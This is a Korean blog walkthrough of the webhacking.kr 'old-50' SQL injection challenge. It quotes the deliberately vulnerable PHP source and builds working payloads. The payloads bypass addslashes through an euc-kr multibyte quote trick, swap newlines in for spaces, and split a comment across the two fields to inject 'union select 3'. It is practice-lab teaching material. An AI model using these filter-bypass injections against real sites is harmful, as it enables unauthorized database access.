반응형

입력칸 두개와 제출버튼 소스보기가 있다.



<?php
  
include "../../config.php";
  if(
$_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?php
  
if($_GET['id'] && $_GET['pw']){
    
$db dbconnect();
    
$_GET['id'] = addslashes($_GET['id']); 
    
$_GET['pw'] = addslashes($_GET['pw']);
    
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach(
$_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(
preg_match("/union/i",$_GET['id'])) exit();
    
$result mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if(
$result){
      if(
$result['lv']==1) echo("level : 1<br><br>");
      if(
$result['lv']==2) echo("level : 2<br><br>");
    } 
    if(
$result['lv']=="3"solve(50);
    if(!
$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>



입력칸 두개와 제출버튼 소스보기가 있다.

싱글쿼터는 앞에서 했듯이 %a1'으로 우회하고

union을 통해 3을 받아오면 될거같다. pw부분은 union을 막아놓지않았다.



' or lv=3

' union select 3


이정도 인거같다.

우회를 피해 한번 만들어보자

먼저 위방법을 시도해보자


역시 old-45에서 봤듯이 멀티바이트를 사용하는 언어로 인코딩됬을때는 우회가 가능하다

%a1'로 '을 우회하고 띄워쓰기는 %0a로 우회해보자 (%a1'은 mb_convert_encoding($_GET['id'],'utf-8','euc-kr')을 거쳐  x'로 바뀌고 필터링 함수로 넘어가기 때문에 필터링 되지 않는다,%0a도 url디코딩을 거쳐 들어가게되기때문에 상관없다.)


?id=%a1'||lv%0alike%0a1%23&pw=123


이런식으로 하면 level1이 나오지만


?id=%a1'||lv%0alike%0a3%23&pw=123 lv3을 지정하면 반응이없다.


반응이 없다. 아마 lv 3인 값은 없는거같다 그렇다면 아래 방법을 시도해보자.




문제는 md5해시 인거같다.

)를 쓸수없기때문에 우회하기 위해선 기존과 다른방법을 사용해야될거같다.


위 쿼리문은 우회할려면 주석처리를 통한 우회가 가능할거같다.


select lv from chall50 where id='' /* ' and pw=md5('*/  ||union select 3#')"));


이런식으로 쿼리가 되면 될거같다./**/이부분은 주석처리가 된다.


필터링을 피해 만들어보자


?id=%a1'/*&pw=*/union%0aselect%0a3%23


이렇게 넘겨주면 성공


반응형

'보안 > webhacking' 카테고리의 다른 글

webhacking.kr old-54  (0) 2019.12.08
webhacking.kr old-53  (0) 2019.12.08
webhacking.kr old-49  (0) 2019.12.07
webhakcing.kr old-48  (0) 2019.12.07
webhacking.kr old-46  (0) 2019.12.06
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기